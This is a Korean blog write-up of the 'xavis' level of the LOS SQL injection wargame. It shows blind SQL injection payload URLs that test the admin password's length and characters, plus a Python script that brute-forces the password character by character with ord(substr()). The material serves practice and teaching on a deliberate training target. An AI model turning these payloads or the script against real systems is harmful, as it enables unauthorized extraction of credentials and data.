cgy12306

[LOS] xavis 본문

Wargame/LOS

[LOS] xavis

cgy12306 2019. 9. 7. 12:40


Blind SQL Injection을 사용해야 하는 문제인것 같다.

패스워드 길이 먼저 알아보자.

https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=%27%20or%20length(pw)=%2740


패스워드는 40글자이다.

ASCII 코드로 변환했을 때는 NULL 값인 0이 전부 참으로 뜨게 된다.

https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=%27%20or%20id=%27admin%27%20and%20ascii(substr(pw,1,1))=%270


이것도 ASCII가 아닐수도 있다는 힌트를 살짝 얻었다. 

비밀번호가 ASCII가 아닌 유니코드 일 수도 있겠다라는 생각이 들어서 검색을 했다.

유니코드나 확장 ASCII에서는 ascii()를 사용하지 않고 ord()를 사용한다고 한다.

ord()를 이용해서 값을 알아보자. 부등호를 이용해서 범위를 좁혀가다 보면 값을 알아낼 수 있다.


https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=' or id='admin' and ord(substr(pw,1,1))='184


첫번째 값은 184이다. 이걸 이용해서 blind sql injection 코드를 돌려보자.

import requests

arry=[]

cookies = {'__cfduid': '', 'PHPSESSID' : ''}
    
for k in range(1,41):
    for j in range(0,0x10ffff):
        res = requests.get(url="https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=%27%20or%20id=%27admin%27%20and%20ord(substr(pw,"+str(k)+",1))=%27"+str(j),cookies=cookies)
        
        if 'Hello admin' in res.text:
            print(k,' : ', j, "O")
                
            arry.append(chr(j))


            break
        else:
            print(k,' : ' , j, "X")
    
print(arry)

유니코드의 범위는 0x1ffff라고 한다.

11번째부터는 널값이 들어간다.


답은 이 10글자가 패스워드이다.

https://los.eagle-jump.org/xavis_fd4389515d6540477114ec3c79623afe.php?pw=¸ùÅ°ÆÐÄ¡¤»



'Wargame > LOS' 카테고리의 다른 글

[LOS] iron_golem  (0) 2019.09.07
[LOS] dragon  (0) 2019.09.07
[LOS] nightmare  (0) 2019.08.30
[LOS] succubus  (0) 2019.08.30
[LOS] zombie_assassin  (0) 2019.08.30
Comments